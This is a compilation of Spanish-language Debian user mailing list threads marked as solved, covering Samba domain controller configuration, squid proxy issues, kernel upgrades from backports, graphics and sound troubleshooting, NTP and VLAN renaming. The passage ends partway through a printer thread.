>>> Pues sobre los permisos adecuados de ese recurso, ni idea :-?
>>>
>>> Lo que sí puedes hacer es apuntar los valores que tiene actualmente por
>>> si algo saliera mal y quisieras recuperarlos y reiniciarlos para ver si
>>> coinciden con los que tenías (comando extraído de la wiki¹ de Samba):
>>>
>>> ***
>>> Reset wrong SysVol ACLs (if you use the "sysvolcheck" option, it will
>>> check the ACLs instead)
>>> # samba-tool ntacl sysvolreset ***
>>>
>>> ¹
>>> https://wiki.samba.org/index.php/
> Updating_Samba#Update_an_early_Samba_4_version_on_Samba_Active_Directory_DCs
>>>
>>
>> casualmente probé varias de las soluciones de samba, en el caso que
>> nombras @camaleon no me dio errores de ningún tipo.
> 
> El comando no tiene que darte errores sino establecer los permisos 
> predeterminados sobre el recurso sysvol, nada más. Si te hubiera dado 
> algún error hubiera sido extraño.
> 
>> Navegando por ahí encontré un pdc en jessie que se llama "turnkey domain
>> controller". Probé instalarlo y con RSAT puedo crear las GPO sin
>> problemas, leer/escribir/modificar archivos en la unidad compartida
>> sysvol.
> 
> Interesa que trabajes con los mismos usuarios y el mismo archivo de GPO 
> que tienes en samba, no vaya a ser que tenga algún problema.
> 
>> Estoy investigando cual puede ser la causa de esto, por ahora vi que la
>> carpeta sysvol tiene definidos grupos por default con ACL y el grupo es
>> 300 que no tengo idea de donde lo obtiene.
>>
>> root@dc1 lib/samba# getfacl sysvol/
>> # file: sysvol/
>> # owner: root # group: 300 user::rwx user:root:rwx group::rwx
>> group:300:rwx group:301:r-x group:302:rwx group:303:r-x
>> mask::rwx other::---
>> default:user::rwx default:user:root:rwx default:group::---
>> default:group:300:rwx default:group:301:r-x
>> default:group:302:rwx default:group:303:r-x default:mask::rwx
>> default:other::---
> 
> Los permisos han cambiado, sí. Pues si te sigue dando el mismo error, 
> comprueba que tengas bien configurada la utilidad RSAT:
> 
> https://wiki.samba.org/index.php/Installing_RSAT
> 
> Saludos,
> 

Hola,

Después de renegar un buen rato y probar varias configuraciones, tuve
suerte.
Habilite el servicio s3fs (fuse) en smb.conf para poder editar los FS en
el pdc y crear las gpo sin problemas. No era un problema de samba, ni
rsat, ni los clientes. el problema como siempre digo suele estar entre
el teclado y la silla.
Dejo la configuración del pdc por si a alguien le resulta útil.

/etc/resolv.conf

search test.lan
nameserver 172.21.0.2
nameserver 172.21.0.254


/etc/krb5.conf

[libdefaults]
default_realm = TEST.LAN
dns_lookup_realm = false
dns_lookup_kdc = true



/etc/samba/smb.conf

# Global parameters

[global]
workgroup = TEST
realm = test.lan
netbios name = PDC
server role = active directory domain controller
dns forwarder = 172.21.0.254
server services = s3fs, rpc, nbt, wrepl, ldap, cldap, 
kdc, drepl,
winbind, ntp_signd, kcc, dnsupdate, dns
idmap_ldb:use rfc2307 = yes

[netlogon]
path = /var/lib/samba/sysvol/test.lan/scripts
read only = No

[sysvol]
path = /var/lib/samba/sysvol
read only = No


¹https://wiki.samba.org/index.php/Samba4/s3fs




signature.asc
Description: OpenPGP digital signature

Re: debian dañado ayuda: Resuelto

[Camaleón]

El Tue, 09 Aug 2016 20:27:54 -0400, Yehender Carrasco escribió:

(acordaos de usar siempre un formato de texto plano para enviar correos a 
la lista y de responder en el mismo hilo donde se ha iniciado el tema, si 
no el mensaje queda perdido y sin conexión con el hilo principal)

> Gracias amigos! ya estaba subiendo un video para mostrarles, pero
> presioné como sugirieron en uno de los mails CTRL+ALT+ f1 f2 f3 f4 

Ctrl+Alt+F1-6 te lleva a una terminal pero lo normal es que el sistema se 
cargue automáticamente y se inicie con el entorno gráfico (tty7).

> uno de esos funciono y me dio acceso para loguear como root y poder usar
> comandos, luego de eso, probe con dpkg --configure -a y reconfiguro
> varias cosas, e igual utilice apt-get update y tambien entré al aptitude
> y lo actualice, no se cual de todas estas acciones funciono pero
> finalmente tengo de nuevo del debian trabajando GRACIAS!!!b(disculpen
> no se usar muy bien la mailist )

Para la próxima, no hay que interrumpir nunca al sistema cuando está 
actualizando porque si el paquete del kernel se queda a mitad o sin 
configurar y no tienes otro con el que iniciar lo puedes pasar realmente 
mal.

Si el sistema queda dañado o actualizado a medias, cuando llegues a la 
pantalla de GRUB2 puedes seleccionar la opción de arranque "Modo de 
rescate" para que te inicie con los servicios mínimos y poder trabajar 
desde ahí.

Saludos,

-- 
Camaleón

debian dañado ayuda: Resuelto

[Yehender Carrasco]

Gracias amigos! ya estaba subiendo un video para mostrarles, pero presioné
como sugirieron en uno de los mails CTRL+ALT+ f1 f2 f3 f4 uno de esos
funciono y me dio acceso para loguear como root y poder usar comandos,
luego de eso, probe con dpkg --configure -a y reconfiguro varias cosas, e
igual utilice apt-get update y tambien entré al aptitude y lo actualice, no
se cual de todas estas acciones funciono pero finalmente tengo de nuevo del
debian trabajando GRACIAS!!!b(disculpen no se usar muy bien la mailist )

(Resuelto) Quitar suse 4.2 Leap y dejar sólo debian

[martin ayos]

"holas,
en realidad ni hace falta que inicies con una live, podés hacerlo desde
debian, desmontar suse (si estaba montado), crear un sistema de
archivos en esa particion, montarla donde mas te guste y reinstalar el
grub"

Gracias, Gonzalo. Es una muy buena idea, no se me había ocurrido.

 

  https://www.avast.com/sig-email?utm_medium=email&utm_source=link&utm_campaign=sig-email&utm_content=webmail";
target="_blank">https://ipmcdn.avast.com/images/2016/icons/icon-envelope-tick-round-orange_184x116-v1.png";
height="29px" />
Libre de virus. https://www.avast.com/sig-email?utm_medium=email&utm_source=link&utm_campaign=sig-email&utm_content=webmail";
target="_blank" style="color: #4453ea;">www.avast.com   

Resuelto: Sqstat en squid3.4 o superior

[Alberto Cabrejas Pérez]

Uniendo las respuestas constructivas de la lista logre echarlo a andar 
igual que como estaba antes de actualizar mi squid3. Solo deben 
sustituir por este archivito que les adjunto que ya esta editado.

--

Saludos, *Alberto Cabrejas Pérez*
Administrador de Redes Informáticas
ARTex S.A. Sucursal Granma
http://www.artexsa.com
http://www.scgra.artex.sa
Linux Usuario Registrado # 31 666
Teléf.+53(023) 48-1912 48-1934 48-1956 Ext 115
Jabber: albe...@scgr.artex.cu
"BE FREE BE LINUX!!!"



sqstat.class.php.tar
Description: Unix tar archive

Re: sin sonido en rhythmbox (Resuelto)

[Jose Maldonado]

El 15/01/16 a las 14:38, Gonzalo Rivero escribió:

El vie, 15-01-2016 a las 11:01 -0430, Jose Maldonado escribió:

Rhythmbox usa gstreamer1.0 si no me equivoco. Lo otro que puedes
comprobar es que tengas instalado Pulseaudio, y que no haya nada
interrumpiendo los stream de audio.


este mensaje me dio una pauta, entonces
apt-get install gstreamer1.0-alsa gstreamer1.0-pulseaudio


creo que -alsa ya lo tenía. Ahora solo me resta ver como tener un
sistema libre de pulseaudio



No saques pulseaudio, te ahorra muchos problemas que alsa tiene. revisa 
que tienes pulseaudio y que esta correctamente instalado.



--
Dios en su Cielo, todo bien la Tierra
*

Re: sin sonido en rhythmbox (Resuelto)

[Gonzalo Rivero]

El vie, 15-01-2016 a las 11:01 -0430, Jose Maldonado escribió:
> Rhythmbox usa gstreamer1.0 si no me equivoco. Lo otro que puedes 
> comprobar es que tengas instalado Pulseaudio, y que no haya nada 
> interrumpiendo los stream de audio.
> 
este mensaje me dio una pauta, entonces 
apt-get install gstreamer1.0-alsa gstreamer1.0-pulseaudio


creo que -alsa ya lo tenía. Ahora solo me resta ver como tener un
sistema libre de pulseaudio

Re: [Semi-OT] Problemas con WSUS detrás de squid [Resuelto]

[Yoandy Madrazo Gómez]

El 05/11/2015 a las 10:13 AM, Camaleón escribió:

El Thu, 05 Nov 2015 10:04:56 -0500, Yoandy Madrazo Gómez escribió:


El 05/11/2015 a las 9:40 AM, Camaleón escribió:

(...)


Wed Nov  4 09:20:56 2015.710  0 192.168.39.2 NONE/417 5009 POST
http://wsus.uclv.edu.cu/ServerSyncWebService/ServerSyncWebService.asmx
-
NONE/- text/html

(...)

Ese mensaje no me dice nada en especial, revisa los registros de los
squid a ver qué sucede.


A que registros te refieres??

A los que genera Squid, claro (cache.log, access.log...).


Estuve buscando y el error 417 tiene que ver con error de protocolo
http, segun estuve leyendo podría darse el caso que el wsus esté
transmitiendo en version 1.1 y el squid no lo entienda de ahí a que no
retransmita la petición al servidor padre, ya lo que me queda es
esperar a consguir el repo de debian 8 para cambiar el squid.

Google devuelve algunos enlaces, mira a ver si lo que cometan te sirve:

http://www.squid-cache.org/mail-archive/squid-users/201011/0121.html
http://www.dangertech.org/blog/2013/08/16/none417-4705-squid-proxy-error/
https://alpacapowered.wordpress.com/2012/06/21/squid-expect-100-continue-header-issues/

Saludos,

Resolví agregando «ignore_expect_100 on» a la conf del squid.

Gracias Camaleon.

Saludos

[Resuelto] Ayuda Servidor Web Local en Debian 8.1

[cpp]

Me disculpan a los listeros que me ayudaron con sus sugerencias por no
agradecerles. Todas las tendré presente. Muchas gracias. Finalmente, como
dice el listero arian, debian 8 y en las versiones nuevas de apache2, el
document root por defecto es /var/www/html, ya no más /var/www/, aunque
esto se puede cambiar en el archivo
/etc/apache2/sites-available/000-default.conf, que antes era
/etc/apache2/sites-available/default

Ya estos cambios los probé y funcionaron.

Ahora surge otro inconveniente, en lo personal, uso Wordpress como CMS y
es relacionado a los permalinks o enlaces permanentes, pero para que no me
regañen lo pondré en otro post.

Mil gracias a ustedes.




--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
https://lists.debian.org/33576.192.168.1.28.1436707273.squir...@www.correo.pinarte.cult.cu

[Resuelto] RE: [OT] Driver Todo en Uno TouchScreen

[Marco Da Silva]

> To: debian-user-spanish@lists.debian.org
> From: noela...@gmail.com
> Subject: Re: [OT] Driver Todo en Uno TouchScreen
> Date: Sun, 5 Oct 2014 17:41:21 +
> 
> El Sun, 05 Oct 2014 12:45:14 -0400, Marco Da Silva escribió:
> 
>> Instale Debian 7.6(amd64) en un computador Todo en Uno TouchScreen, el
>> unico detalle es que desconozco como configurar el touchscreen:
> 
> (...)
> 
> ¿Configurar o usar?
> 
> Si el driver funciona correctamente y sólo quieres ajustar la pantalla 
> táctil, revisa este mensaje de los foros:
> 
> [SOLVED] Laptop Touchscreen Calibration Debian Wheezy
> http://forums.debian.net/viewtopic.php?f=7&t=116628
> 
> O busca en Google alguna otra alternativa:
> 
> https://www.google.com/webhp?complete=0&hl=en&gws_rd=ssl#q=wheezy+touchscreen+config&complete=0&hl=en&start=10
> 
> Si no funciona nada (la pantalla no responde a los "tapeos"), prueba a 
> instalar un kernel superior desde los backports.
> 
> Saludos,
> 
> -- 
> Camaleón
> 
> 
> -- 
> To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
> Archive: https://lists.debian.org/pan.2014.10.05.17.41...@gmail.com
> 

Gracias por tu respuesta.

Efectivamente despues de un par de horas investigando, decidí actualizar la 
linux-image desde los backports como me recomendaste:

- Antes:
root@ALLINONE:~$ uname -a
Linux ALLINONE 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64 GNU/Linux

- Despues:
root@ALLINONE:~$ uname -a
Linux ALLINONE 3.16-0.bpo.2-amd64 #1 SMP Debian 3.16.3-2~bpo70+1 (2014-09-21) 
x86_64 GNU/Linux

Y ahora funciona de maravilla.

Saludos!

Marco A. Da Silva A.
Caracas, Venezuela

Re: Problema con squid RESUELTO

[Felix Perez]

El día 19 de septiembre de 2014, 3:12, Antonio Moreno
 escribió:
> El 18/09/14 a las #4, Camaleón escribió:
>>
>> El Thu, 18 Sep 2014 11:08:34 +0200, Antonio Moreno escribió:
>>
>> Ni idea :-)
>
> No mientas, tu lo sabes todo jajaja
>>
>>
>> Pero puedes habilitar la depuración por si vieras algo interesante:
>>
>> I set up my access controls, but they don't work! why?
>>
>> http://wiki.squid-cache.org/SquidFaq/SquidAcl#I_set_up_my_access_controls.2C_but_they_don.27t_work.21__why.3F
>>
>> Saludos,
>>
> Muchas gracias Camaleon, como siempre resuelves todas mis dudas.  on>Voy a crear la PAC (Plataforma de Adoracion a Camaleon), me tienes que
> pasar una foto para crear las estampitas y la direccion para hacer una
> peregrinacion hasta tu casa
>
> Tengo que empezar a coger tus costumbres de leer la documentacion de la
> herramienta que se utilice siempre descubres cosas como estas que no sabes
> que existen.
>

Oh, aquí uno que descubrió la luz, y nuevamente gracias a Camaleón.
Que banda de malos agradecidos.

¡Supongo que se nota la ironía ehhh!


-- 
usuario linux  #274354
normas de la lista:  http://wiki.debian.org/es/NormasLista
como hacer preguntas inteligentes:
http://www.sindominio.net/ayuda/preguntas-inteligentes.html


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
https://lists.debian.org/caaizax5osvqjngqsq_k4uqwoo2jqxx0h4b1idvwznzmmv7v...@mail.gmail.com

Re: Problema con squid RESUELTO

[Antonio Moreno]

El 18/09/14 a las #4, Camaleón escribió:

El Thu, 18 Sep 2014 11:08:34 +0200, Antonio Moreno escribió:

Ni idea :-)

No mientas, tu lo sabes todo jajaja


Pero puedes habilitar la depuración por si vieras algo interesante:

I set up my access controls, but they don't work! why?
http://wiki.squid-cache.org/SquidFaq/SquidAcl#I_set_up_my_access_controls.2C_but_they_don.27t_work.21__why.3F

Saludos,

Muchas gracias Camaleon, como siempre resuelves todas mis dudas. on>Voy a crear la PAC (Plataforma de Adoracion a Camaleon), me tienes 
que pasar una foto para crear las estampitas y la direccion para hacer 
una peregrinacion hasta tu casa


Tengo que empezar a coger tus costumbres de leer la documentacion de la 
herramienta que se utilice siempre descubres cosas como estas que no 
sabes que existen.


Lo dicho muchas gracias


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/541bc94f.2010...@sorianatural.es

[Resuelto] Simple curiosidad: sobre "mantenedores" que abandonan silenciosamente

[Manolo Díaz]

El viernes, 29 ago 2014 a las 13:26 horas (UTC+2),
Ricardo Eureka! escribió:

>Si https://qa.debian.org/

Gracias de nuevo, Ricardo. Hoy me han comunicado que han iniciado el
proceso con el mantenedor. Deben tener bastante trabajo.

Saludos.

>El 29 de agosto de 2014, 7:44, Manolo Díaz  escribió:
>
>>
>> Por lo que creo, Debian expulsa de testing, impidiendo que lleguen a
>> stable, los paquetes cuyos fallos RC no han sido resuelto en un lapso de
>> tiempo dado. ¿Pero qué pasa con los mantenedores que abandonan
>> silenciosamente, esos que no responden a informes de fallo ni actualizan
>> los paquetes de los que son responsables? ¿Hay algún mecanismo para
>> detectarlos y marcar esos paquetes como abandonados?

-- 
Manolo Díaz


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/20140910191355.01be2...@gmail.com

Re: Resuelto [OT: no inicia entorno gráfico]

[Camaleón]

El Mon, 25 Aug 2014 11:05:35 -0400, Paulo Riquelme escribió:

> Ok, después de varios días probando, hago un pequeño resumen de lo que
> pasó con este tema:
> Máquina: notebook hp 14 - D026-R017, tiene un chip gráfico Intel
> ValleyView (Gen7 ver0)
> Instalación de Debian amd64, al comienzo Wheezy, instalación mínima
> desde el booteo.
> Falla: No iniciaba entorno gráfico, quedaba en pantalla negra con un
> cursor en la esquina superior izquierda.  Todo esto después de instalar
> correctamente:
> xserver-xorg-video-intel xorg gnome-core
> 
> Camino a la solución: Después de varios intentos, instalando kernels
> superiores desde backports (CORRECTO) y también desde otras distros (MUY
> INCORRECTO, MAL, ERROR, NO LO HAGAN NUNCA) me dijeron lo mal que estaba
> al haber hecho esto último, 

Y esta mal no porque sí sino porque cada distribución (aunque sean de la 
misma familia como Debian, Ubuntu o Linux Mint) personaliza su kernel 
hasta extremos insospechados y habilita unas opciones determinadas.

¿Y qué puede pasar? Pues para empezar que un paquete compilado .deb del 
kernel para Ubuntu no se pueda instalar por dependencias incumplidas o 
que de hacerlo no inicie o dé problemas. En cuestión de kernels, siempre 
es mejor recurrir a los paquetes compilados (deb) del repositorio de 
backports (para la versión estable de Debian) o al kernel de sid/
experimental (si se está en testing).

Otra forma de instalar un kernel distinto es compilando las fuentes 
directamente desde los paquetes de www.kernel.org, que es pesado pero no 
difícil.

> por lo que antes de sumar problemas preferí reinstalar Debian, esta vez
> desde una versión testing, lo cual me dejó de inmediato el kernel
> 3.14-2-amd64, instalé nuevamente los paquetes:
> 
> xserver-xorg-video-intel xorg gnome-core
> 
> Cerca de este punto ya hubo un cambio ya que al hacer:
> 
> X -configure
> 
> no me arrojaba errores, lo malo es que al reiniciar seguía la pantalla
> negra con el cursor, al reiniciar seleccioné el modo recuperación e
> ingresé como root, desde ahí hice startx y fue la primera vez que
> funcionó el entorno gráfico, quizás fue impresión mía pero después de
> hacer eso el sistema comenzó a ingresar normalmente al modo gráfico.

En las nuevas versiones de Debian ya no es necesario reconfigurar las X, 
de hecho es recomendable ver si el sistema funciona sin tener ningún 
archivo de configuración en "/etc/X11/xorg.conf" y sólo crear uno cuando 
sea estrictamente necesario (algo que con gráficas intel no suele serlo).

> Insisto que si del comienzo hubiese instalado bien los kernel desde
> backports y no desde otras distros (MAL) desde Estable habríamos llegado
> a la solución también.

Pues si te digo la verdad, no sé qué es lo que ha hecho la magia :-), 
porque como los dos kernels (el backports y el de testing) son muy 
parecidos.
 
> Quiero agradecer a todos los que me ayudaron, en especial a Camaleon,
> quien o tiene la capacidad de desdoblarse o son muchas personas desde
> una cuenta :D

:-P

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/pan.2014.08.25.15.46...@gmail.com

Resuelto [OT: no inicia entorno gráfico]

[Paulo Riquelme]

El día 25 de agosto de 2014, 9:05, Camaleón  escribió:
> El Sun, 24 Aug 2014 13:56:58 -0400, Paulo Riquelme escribió:
>
>> El día 24 de agosto de 2014, 10:54, Camaleón 
>> escribió:
>
> (...)
>
 Sobre esto, cuando estoy en grub, me ubico en la opción "normal" de
 grub y presiono "e", esta línea dice "ro quiet" por defecto.
>>>
>>> (...)
>>>
>>> Pues algo pasa con el archivo de registro de Xorg porque a mí me
>>> aparece exactamente lo mismo que a ti, es decir, en mi
>>> "/var/log/Xorg.0.log" veo que el kernel ha iniciado con la opción "ro
>>> single" lo cual no cuadra con la salida de "dmesg | grep -i vmlinuz"
>>> donde sí aparece el parámetro correcto (ro quiet).
>>>
>>> Ah, oye... fíjate en la fecha del archivo "/var/log/Xorg.0.log", la mía
>>> es de hace dos días (!) pero el equipo lo he iniciado hoy. Y la tuya
>>> igual:
>>>
>>> [  3361.893] (==) Log file: "/var/log/Xorg.0.log", Time: Thu Aug 21
>>> 22:14:59 2014
>>>
>> Esto me sale a mí:
>>
>> ...~$stat /var/log/Xorg.0.log
>>   Fichero: «/var/log/Xorg.0.log»
>>   Tamaño: 5186   Bloques: 16 Bloque E/S: 4096   fichero
>>   regular
>> Dispositivo: 804h/2052d Nodo-i: 781890  Enlaces: 1 Acceso:
>> (0644/-rw-r--r--)  Uid: (0/root)   Gid: (0/root)
>>   Acceso: 2014-08-23 14:32:16.772386680 -0400
>> Modificación: 2014-08-23 14:30:35.437346696 -0400
>>   Cambio: 2014-08-23 14:30:35.437346696 -0400
>> Creación: -
>
> Ese archivo es del 23/08/2014 pero el que enviaste el otro día era del
> 21/08/2014.
>
>> y sobre el otro comando:
>>
>> ...~$dmesg |grep -i vmlinuz
>> [0.00] Command line: BOOT_IMAGE=/boot/vmlinuz-3.14-2-amd64
>> root=UUID=79086380-68ef-4f63-98a2-3444805ab0ff ro quiet
>> [0.00] Kernel command line: BOOT_IMAGE=/boot/vmlinuz-3.14-2
>> -amd64 root=UUID=79086380-68ef-4f63-98a2-3444805ab0ff ro quiet
>
> Sí, el dmesg indica que has iniciado, efectivamente, con la primera
> opción, vamos, un arranque normal. El problema es que el archivo de
> registro del servidor X no se actualiza :-?
>
>> sobre esto que dices, ¿tendrá alguna relación con algún tipo de inicio
>> rápido que estén desarrollando?, como el que utiliza win8 aprovechando
>> el famoso uefi.
>
> El problema puede ser de systemd o del propio Xorg, es decir, un bug en
> testing.
>
> Saludos,
>
> --
> Camaleón
>
Ok, después de varios días probando, hago un pequeño resumen de lo que
pasó con este tema:
Máquina: notebook hp 14 - D026-R017, tiene un chip gráfico Intel
ValleyView (Gen7 ver0)
Instalación de Debian amd64, al comienzo Wheezy, instalación mínima
desde el booteo.
Falla: No iniciaba entorno gráfico, quedaba en pantalla negra con un
cursor en la esquina superior izquierda.  Todo esto después de
instalar correctamente:
xserver-xorg-video-intel
xorg
gnome-core

Camino a la solución: Después de varios intentos, instalando kernels
superiores desde backports (CORRECTO) y también desde otras distros
(MUY INCORRECTO, MAL, ERROR, NO LO HAGAN NUNCA) me dijeron lo mal que
estaba al haber hecho esto último, por lo que antes de sumar problemas
preferí reinstalar Debian, esta vez desde una versión testing, lo cual
me dejó de inmediato el kernel 3.14-2-amd64, instalé nuevamente los
paquetes:

xserver-xorg-video-intel
xorg
gnome-core

Cerca de este punto ya hubo un cambio ya que al hacer:

X -configure

no me arrojaba errores, lo malo es que al reiniciar seguía la pantalla
negra con el cursor, al reiniciar seleccioné el modo recuperación e
ingresé como root, desde ahí hice startx y fue la primera vez que
funcionó el entorno gráfico, quizás fue impresión mía pero después de
hacer eso el sistema comenzó a ingresar normalmente al modo gráfico.

Insisto que si del comienzo hubiese instalado bien los kernel desde
backports y no desde otras distros (MAL) desde Estable habríamos
llegado a la solución también.

Quiero agradecer a todos los que me ayudaron, en especial a Camaleon,
quien o tiene la capacidad de desdoblarse o son muchas personas desde
una cuenta :D

Gracias

Paulo Riquelme Olivares


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
https://lists.debian.org/cajvcbjbclgbigygil7zefng8zpnggv9ynpkgq02srpbym7x...@mail.gmail.com

Re: (RESUELTO) Re: Sobre NTP (Network Time Protocol - Protocolo de tiempo de red)

[Manolo Díaz]

El lunes, 14 jul 2014 a las 01:25 horas (UTC+2),
Eduardo Rios escribió:

[...]

>Leyendo detenidamente la información del paquete ntpdate, dice:
>
>"Si el demonio NTP completo del paquete «ntp» está instalado, entonces
>ntpdate no es necesario."
>
>Resumiendo, que el instalador de Debian hizo bien el trabajo al instalar 
>el paquete ntp, y el libro es el que me ha confundido...

Ntp cubre todas las funcionalidades de ntpdate, pero no al contrario.
Para un portátil hubiese bastado cualquiera de los dos, y el hecho de
que el instalador de Debian instalase ntp seguramente tiene más que ver
con lo que te explica Fabián en su correo.

Ntpdate está marcado como obsoleto por sus desarrolladores, los mismos
que desarrollan también ntp.

Saludos.
--
Manolo Díaz


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/20140714090818.1e464...@gmail.com

(RESUELTO) Re: Sobre NTP (Network Time Protocol - Protocolo de tiempo de red)

[Eduardo Rios]

El 14/07/14 a las #4, Eduardo Rios escribió:


Leyendo aquí [1] parece ser que para que la hora se sincronice al
iniciar el sistema, solo se necesita el paquete ntp, el cual si tengo
instalado, pero ntpdate no.

Ay que lio me estoy armando yo solo... :-P
Creo que voy a seguir tu consejo y voy a instalar también ntpdate... más
vale que sobre, que no que falte :-D

[1]
http://www.kubuntu-es.org/wiki/sistema/howto-sincronizar-fecha-hora-terminal-usando-network-time-protocol-ntp


Leyendo detenidamente la información del paquete ntpdate, dice:

"Si el demonio NTP completo del paquete «ntp» está instalado, entonces
ntpdate no es necesario."

Resumiendo, que el instalador de Debian hizo bien el trabajo al instalar 
el paquete ntp, y el libro es el que me ha confundido...



--
www.LinuxCounter.net

Registered user #558467
has 2 linux machines


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/lpv4gv$lq$1...@ger.gmane.org

Re: Renombrar interfaces de red (era wifidog) RESUELTO (con chapuza)

[Camaleón]

El Fri, 30 May 2014 14:23:27 +0200, Antonio Trujillo Carmona escribió:

> El vie, 30-05-2014 a las 12:42 +0200, Antonio Trujillo Carmona escribió:
>> He encontrado esta linea de error al ejecutar wifidog -f -d 7:
>> chain name `WiFiDog_vlan1000_WIFI2Internet' too long (must be under 29
>> chars)
>> El equipo tiene dos tarjetas de red con las que he hecho un bonding y
>> hasta 5 vlanes para 5 redes distintas (dos de conección a los AP para
>> servir 2 redes, 1 para gestión, 1 para salida a internet y 1 para
>> conexión a una vlan de electrónica de red) la salida es por la VLAN
>> 1000 , por lo que siguiendo los estándares puedo llamarla: bond0.1000
>> -> 10 caracteres vlan1000->  9 caracteres Pero por lo que parece 
para
>> que wifidog funcione bien solo te deja un nombre de 7 caracteres.
>> ¿Hay alguna manera de renombrarla a algo como "vl-usu"?
> He creado esta configuración "provisional" que funsiona, pero es un poco
> como "hacerlo a mano"
> #VLAN HUG_USUARIOS auto vl-usu iface vl-usu inet static
>   address 172.17.0.1 netmask 255.255.0.0 pre-up   vconfig add bond0 
1000 ||
>   true pre-up ip link set vlan1000 name vl-usu post-down 
vconfig rem
>   vl-usu
> 
> ¿Hay alguna otra manera "mas Debian"?

Más "Debian" no sé... para más "limpia" quizá te pueda servir "vconfig" o 
tirar de scripts en el archivo "/etc/network/interfaces":

5.6.5. The mapping stanza
https://www.debian.org/doc/manuals/debian-reference/ch05.en.html#_the_mapping_stanza

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/pan.2014.05.30.15.22...@gmail.com

Re: Renombrar interfaces de red (era wifidog) RESUELTO (con chapuza)

[Antonio Trujillo Carmona]

El vie, 30-05-2014 a las 12:42 +0200, Antonio Trujillo Carmona escribió:
> He encontrado esta linea de error al ejecutar wifidog -f -d 7:
> chain name `WiFiDog_vlan1000_WIFI2Internet' too long (must be under 29
> chars)
> El equipo tiene dos tarjetas de red con las que he hecho un bonding y
> hasta 5 vlanes para 5 redes distintas (dos de conección a los AP para
> servir 2 redes, 1 para gestión, 1 para salida a internet y 1 para
> conexión a una vlan de electrónica de red) la salida es por la VLAN
> 1000 , por lo que siguiendo los estándares puedo llamarla:
> bond0.1000-> 10 caracteres
> vlan1000  ->  9 caracteres
> Pero por lo que parece para que wifidog funcione bien solo te deja un
> nombre de 7 caracteres.
> ¿Hay alguna manera de renombrarla a algo como "vl-usu"?
He creado esta configuración "provisional" que funsiona, pero es un poco
como "hacerlo a mano"
#VLAN HUG_USUARIOS
auto vl-usu
iface vl-usu inet static
address 172.17.0.1
netmask 255.255.0.0
pre-up  vconfig add bond0 1000 || true
pre-up  ip link set vlan1000 name vl-usu
post-down vconfig rem vl-usu

¿Hay alguna otra manera "mas Debian"?


-- 
Salud.


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
https://lists.debian.org/1401452607.27500.23.ca...@trujo.hvn.sas.junta-andalucia.es

libreta de direcciones squirrelmail (RESUELTO)

[cosme]

Hola

Donde es que se guardan las libretas de direcciones de cada usuario en
squirrelmail

Salu2


/var/lib/squirrelmail/data/usuario.abook



--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/6a131072326c5744e802296afa10d8d1.squirrel@192.168.13.16

nautilus en debian 7 [RESUELTO]

[cosme]

Con file-roller se resolvió el problema.

Gracias a los listeros

 Mensaje original 
Asunto: Re: nautilus en debian 7
De: "Haylem Candelario Bauzá" 
Fecha:  Jue, 22 de Agosto de 2013, 12:57 pm
Para:   debian-user-spanish@lists.debian.org
--

Debes instalar algún compresor/descompresor de archivos.
te recomiendo file-roller está bueno.

xarchiver es muy ligero pero no permite poner passwords a los .rar y
file-roller sí.

-- 
HaylemHackCpp

Recuerda: Si dominas los bits, dominas el mundo.


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive:
http://lists.debian.org/67de8bec049dd9639d40a92d8afe8bbf.squir...@webmail.inor.sld.cu





--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/37a05e53257ca4a76cc9e417ad6b2ad3.squirrel@192.168.13.16

Re: [OT-Ubuntu] Re: Problema con Impresora Epson LX 300+II USB (Resuelto)

[Ruben Cervantes]

El 20/08/13 16:43, Camaleón escribió:

El Tue, 20 Aug 2013 15:57:46 +, Ruben Cervantes escribió:


Saludos colegas de la lista les escribo por que estoy presentando
problemas con las impresoras Epson LX 300+II conectadas por usb en
Ubuntu 12.04,

¿Cerraron las lista de correo de Ubuntu? >:-)


el lio es que la calidad de impresión es pésima trabajando
con la impresora por puerto usb con el controlador Epson LX 300+ que
propone el CUPS por defecto, traté de resolver con el controlador IBM
propinter II que antes me funcionaba bien en debian 6 por puerto
paralelo pero nada sigue igual, también probé con el driver Epson LX
1050 subiendo la calidad de impresión a 240x60 dpi, con este note que la
impresión mejoró un poco pero no con la calidad requerida.

Por una sencilla regla de tres lo que estaba funcionando antes debe de
